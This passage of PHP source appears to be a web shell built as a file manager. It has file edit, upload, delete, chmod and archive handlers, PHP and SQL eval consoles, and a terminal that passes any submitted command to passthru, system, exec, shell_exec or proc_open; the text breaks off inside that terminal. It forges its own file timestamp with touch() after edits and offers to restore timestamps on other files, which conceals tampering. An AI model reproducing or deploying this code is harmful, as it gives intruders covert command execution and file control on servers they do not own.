YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
